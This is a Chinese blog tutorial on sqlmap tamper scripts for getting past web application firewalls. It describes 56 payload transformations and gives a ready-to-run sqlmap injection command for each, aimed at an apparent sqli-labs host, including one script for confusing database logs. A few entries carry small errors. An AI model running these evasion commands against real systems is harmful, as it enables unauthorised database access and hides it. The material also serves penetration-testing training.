7.7 sqlmap使用tamper绕过WAF

7.7 sqlmap使用tamper绕过WAF

7.7.1 tamper简介

1. tamper简介
sqlmap压缩包解压后根目录下有个tamper的文件夹,里面有58个python脚本,其中剔除__init__.py这个文件就含有57个脚本,这些脚本对应不同的绕过WAF的功能模块

2. tamper脚本使用
tamper是sqlmap绕过功能,使用方式:python sqlmap.py --tamper="xxoo.py" 或者 python sqlmap.py --tamper="xxoo.py,ooo.py" 同时执行多个tamper脚本

例如:
python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper "appendnullbyte.py"

7.7.2 sqlmap WAF检测
WAF检测的方式一般是基于HTTP头进行检测,市面上用于识别WAF有一个比较好的工具wafw00f和sqlmap这两款工具识别

对于识别WAF工具的地址:https://github.com/EnableSecurity/wafw00f

sqlmap使用识别WAF的方式:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --identify-waf

7.7.3 tamper绕过WAF脚本列表注释

sqlmap我目前使用的版本是1.4.5.27含有57个绕过WAF的脚本,按照字母顺序来分析,我这里会详细给大家演示,所以这一节会分很多小节来演示,所以会很长

1. apostrophemask.py脚本
通过UTF-8全角字符替换单引号字符,在tamper中对原始payload("1 AND '1'='1") 进行替换,将单引号替换为"%EF%BC%87",相当于%EF%BC%87=' ,这里是适用于所有数据库

实践测试:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="apostrophemask.py" --proxy="http://127.0.0.1:8080"


------------------------------------------------------------------
2. apostrophenullencode.py脚本
使用非法的双字节unicode字符替换单引号字符,即 %00%27替换为单引号"'",例如payload是 "1 AND '1'='1" 经过此脚本操作变换为"1 AND %00%271%00%27=%00%271"

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="apostrophenullencode.py" --proxy="http://127.0.0.1:8080"

经过测试使用此双字节unicode字符替换单引号的方式是有效果的,可以注入出来,具体看下图


-------------------------------------------------------------------

3. appendnullbyte.py脚本
通过在payload末尾添加空字符编码,就是加类是这样的"%00",例如:"1 AND 88=88%00'" ,作者这里描述反馈的是只适用于Access数据库,但是我测试环境是Mariadb数据库发现是测试成功的,也能注入出来。

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="appendnullbyte.py" --proxy="http://127.0.0.1:8080"

下面的演示的效果图:

--------------------------------------------------------------------

4. base64encode.py脚本
给指定的payload全部字符进行base64编码,适用于所有数据库,这个很好理解,直接看演示

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="base64encode.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图:

--------------------------------------------------------------------

5. between.py脚本
是根据实际情况分别将大于号">" 替换为"NOT BETWEEN 0 AND" , 等于号 "=" 替换为"BETWEEN AND" 适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="between.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图:

---------------------------------------------------------------------

6. bluecoat.py脚本

在SQL注入的语句后面添加有效的随机空白符用来替换空格符,之后使用"LIKE" 来替换等于号 "=" ,这里替换的过程中,显示的URL编码是"%09" 这个就表示空格,适用于MySQL数据库5.1,作者提到一个SGOS 这个真不认识,在网上搜索了下没找到好的解释。

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="bluecoat.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图:

----------------------------------------------------------------------

7. chardoubleencode.py脚本

对指定的payload的全部字符使用双重URL编码,对于已经编码的字符不做处理,简单点理解就是对payload进行二次编码,适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="chardoubleencode.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图:

-----------------------------------------------------------------------

8. charencode.py脚本

对使用的payload字符进行全部的url编码,已经编码的不处理,具体看如下演示

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="charencode.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图:

-----------------------------------------------------------------------

9. charunicodeencode.py脚本

对使用的payload非编码字符使用UnicodeURL编码,已经编码的不处理,这个跟上面提到的charencode.py脚本的区别就是在编码中增加了"u00" ,适用于所有数据库,具体看如下演示

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="charunicodeencode.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图:

------------------------------------------------------------------------

10. charunicodeescape.py脚本

对有效的payload使用unicode-escape进行转换,已经编码的不做处理,unicode-escape通常用来进行汉字的解码,使用decode('unicode-escape') 进行解码即可 ,适用于所有的数据库,但是ASP和ASP.NET环境,具体看如下演示

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="charunicodeescape.py" --proxy="http://127.0.0.1:8080" -batch

下面的演示的效果图:

-------------------------------------------------------------------------

11. commalesslimit.py脚本

将payload中的逗号使用offset代替,主要用于过滤逗号并且是3个参数的情况下,例如,"limit 2,1" 替换为 "limit 1 offset 2" ,适用于mysql数据库,具体看如下演示


下面的演示的效果图:

12. commalessmid.py脚本

将payload中的逗号使用from for代替,用于过滤了逗号并且是两个参数的情况,MID(A,B,C) 替换为 MID(A FROM B FOR C),例如:mid(version(),1,1) 替换为mid(version() from 1 for 1)

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="commalessmid.py" --proxy="http://127.0.0.1:8080" -batch

13. commentbeforeparentheses.py脚本

在某个单词后面的第一个括号前面加入/**/,用于过滤函数的情况,例如:select ABD(1)') 替换为select ABD/**/(1) ,适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="commentbeforeparentheses.py" --proxy="http://127.0.0.1:8080" -batch

14. concat2concatws.py脚本

表示使用concat_ws(mid(char(0),0,0),A,D) 替换为concat(A,D),只适用于mysql

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="concat2concatws.py" --proxy="http://127.0.0.1:8080" -batch


15. equaltolike.py脚本

通过使用like这个运算符替换所有的等于号"=" 适用于所有的数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="equaltolike.py" --proxy="http://127.0.0.1:8080" -batch

16. escapequotes.py脚本

将单引号转换成\', 双引号就转换成\\" ,一般这种情况是用于过滤了单引号或者是双引号的情况下,适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="escapequotes.py" --proxy="http://127.0.0.1:8080" -batch

17. greatest.py脚本

使用GREATEST函数替换大于号">" ,比如:"1 and bmfx > bmfxx" 替换为"1 and greatest(bmfx,bmfxx+1)=bmfx" 适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="greatest.py" --proxy="http://127.0.0.1:8080" -batch

18. halfversionedmorekeywords.py脚本

在每个关键字之前都加上Mysql注释,用于过滤了关键字的情况,这个适用于Mysql数据库<5.1版本

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="halfversionedmorekeywords.py" --proxy="http://127.0.0.1:8080" -batch

19. htmlencode.py脚本

针对测试的payload进行html编码,适用于所有数据库,具体看下面的演示

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="htmlencode.py" --proxy="http://127.0.0.1:8080" -batch

20. ifnull2casewhenisnull.py脚本

使用CASE WHEN ISNULL(1) THEN(2) ELSE(1) END 替换 IFNULL(1,2) 适用于mysql数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="ifnull2casewhenisnull.py" --proxy="http://127.0.0.1:8080" -batch

21. ifnull2ifisnull.py脚本

使用IF(ISNULL(A),B,A) 替换IFNULL(A,B)

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="ifnull2ifisnull.py" --proxy="http://127.0.0.1:8080" -batch

22. informationschemacomment.py脚本

通过在information_schema后面加上/**/用于绕过针对information_schema的情况

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="informationschemacomment.py" --proxy="http://127.0.0.1:8080" -batch

23. least.py脚本

使用least函数替换大于号 > 比如:1 and a>b 替换为 1 and least(a,b+1)=b+1

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="least.py" --proxy="http://127.0.0.1:8080" -batch

24. lowercase.py脚本

将攻击的payload从大写转换为小写,适用于所有的数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="lowercase.py" --proxy="http://127.0.0.1:8080" -batch

25. modsecurityversioned.py脚本

使用注释的方式围住完整的查询条件,主要是用于绕过ModSecuriy这个开源的WAF, 适用于Mysql数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="modsecurityversioned.py" --proxy="http://127.0.0.1:8080" -batch

26. modsecurityzeroversioned.py脚本

使用带有数字0的注释(/*!00000 */--) 包围整个完整的查询 适用于mysql数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="modsecurityzeroversioned.py" --proxy="http://127.0.0.1:8080" -batch

27. multiplespaces.py脚本

这个作用是SQL注入关键字旁边附近多加个空格,例如:"tampler('1 union select bmfx'") 将其处理为 "'1 union select bmfx'" 适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="multiplespaces.py" --proxy="http://127.0.0.1:8080" -batch

28. nonrecursivereplacement.py脚本 新版本sqlmap不存在

关键字双写,可用于关键字过滤,例如:union 处理后就是uniounionn s适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="nonrecursivereplacement.py" --proxy="http://127.0.0.1:8080" -batch

29. overlongutf8.py脚本

转换指定payload中的字符串

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="overlongutf8.py" --proxy="http://127.0.0.1:8080" -batch

30. overlongutf8more.py脚本

转换指定payload中的所有字符串

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="overlongutf8more.py" --proxy="http://127.0.0.1:8080" -batch

31. percentage.py脚本

用百分号来绕过关键字过滤,具体的就是在每个关键字的字母前面加一个百分号

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="percentage.py" --proxy="http://127.0.0.1:8080" -batch

32. plus2concat.py脚本

使用concat函数来代替加号,一般会用于加号被过滤了的情况,适用于sql server 2012

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="percentage.py" --proxy="http://127.0.0.1:8080" -batch

33. plus2fnconcat.py脚本

使用fn concat函数用来替代加号,适用于微软的数据库SQL Server 2008以上

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="plus2fnconcat.py" --proxy="http://127.0.0.1:8080" -batch

34. randomcase.py脚本

随机转换每个关键字字符的大小写。将测试的payload随机大小写,可以用于大小写绕过的情况,适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="randomcase.py" --proxy="http://127.0.0.1:8080" -batch

35. randomcomments.py脚本

在payload关键字中随机插入/**/,可以绕过关键字过滤,适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="randomcomments.py" --proxy="http://127.0.0.1:8080" -batch

36. securesphere.py脚本

添加经过特殊构造的字符串,在payload后面加入字符串,据说是可以自定义的,适用于所有数据库

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="securesphere.py" --proxy="http://127.0.0.1:8080" -batch

37. space2comment.py脚本

使用/**/替换空格符,主要用于空格的绕过

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2comment.py" --proxy="http://127.0.0.1:8080" -batch

38. space2dash.py脚本

使用破折号注释符"--" 再就是加一个随机字符串和一个换行符(%0A) 用来替换空格,一般适用于MSSQL和SQLite

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2dash.py" --proxy="http://127.0.0.1:8080" -batch

39. space2hash.py脚本

使用注释符"#" (%23) 再加上随机字符串和一个换行符(%0A) 用来替换空格 适用于mysql数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2hash.py" --proxy="http://127.0.0.1:8080" -batch

40. space2morecomment.py脚本

使用/**_**/替代空格 适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2morecomment.py" --proxy="http://127.0.0.1:8080" -batch

41. space2morehash.py脚本

这个与space2hash.py类似,使用注释符#(%23) 再就是使用随机的字符串和一个换行符(%0A)来替换空格,适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2morehash.py" --proxy="http://127.0.0.1:8080" -batch

42. space2mssqlblank.py脚本

使用blanks备选字符集中的随机空白符替换空格符,适用于SQL Server 2005 这个局限性比较大

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2mssqlblank.py" --proxy="http://127.0.0.1:8080" -batch

43. space2mssqlhash.py脚本

使用# (%23)加个换行符(%0A)去替换payload中的空格,适用于数据库mssql,mysql

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2mssqlhash.py" --proxy="http://127.0.0.1:8080" -batch

44. space2mysqlblank.py脚本

通过随机空白字符替换payload中的空格,适用于mysql数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2mysqlblank.py" --proxy="http://127.0.0.1:8080" -batch

45. space2mysqldash.py脚本

使用"--"加一个换行符替换空格,适用于mysql和mssql

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2mysqldash.py" --proxy="http://127.0.0.1:8080" -batch

46. space2plus.py脚本

通过使用"+"来替换空格 适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2plus.py" --proxy="http://127.0.0.1:8080" -batch

47. space2randomblank.py脚本

使用类似%09,%0A,%0C,%0D随机字符串替换payload中的空格

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="space2randomblank.py" --proxy="http://127.0.0.1:8080" -batch


48. sp_password.py脚本

在payload语句后面添加sp_password 这样是为了迷惑数据库日志,适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="sp_password.py" --proxy="http://127.0.0.1:8080" -batch

49. symboliclogical.py脚本

使用"&&"(%26%26)替换"and",使用"||"(%7C%7C)替换"or" 适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="symboliclogical.py" --proxy="http://127.0.0.1:8080" -batch

50. unionalltounion.py脚本

使用union select 替换union all select 适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="unionalltounion.py" --proxy="http://127.0.0.1:8080" -batch

51. unmagicquotes.py脚本

使用宽字符“ ’”(编码值为%bf%27) 绕过GPC addslashes 适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="unmagicquotes.py" --proxy="http://127.0.0.1:8080" -batch

52. uppercase.py脚本

将测试的payload大写,适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="uppercase.py" --proxy="http://127.0.0.1:8080" -batch

53. varnish.py脚本

添加一个HTTP头 "X-originating-IP" 来绕过WAF,适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="varnish.py" --proxy="http://127.0.0.1:8080" -batch

54. versionedkeywords.py脚本

对不是函数的关键字进行注释 适用于mysql数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="versionedkeywords.py" --proxy="http://127.0.0.1:8080" -batch

55. versionedmorekeywords.py脚本

注释每个关键字,这个是适用于数据库为mysql>=5.1.13

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="versionedmorekeywords.py" --proxy="http://127.0.0.1:8080" -batch

56. xforwardedfor.py脚本

添加一个伪造好的HTTP头,"X-Forwarded-For" 用来绕过WAF,适用于所有数据库

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="xforwardedfor.py" --proxy="http://127.0.0.1:8080" -batch

posted @ 2020-09-06 14:37  皇帽讲绿帽带法技巧  阅读(1043)  评论(0编辑  收藏  举报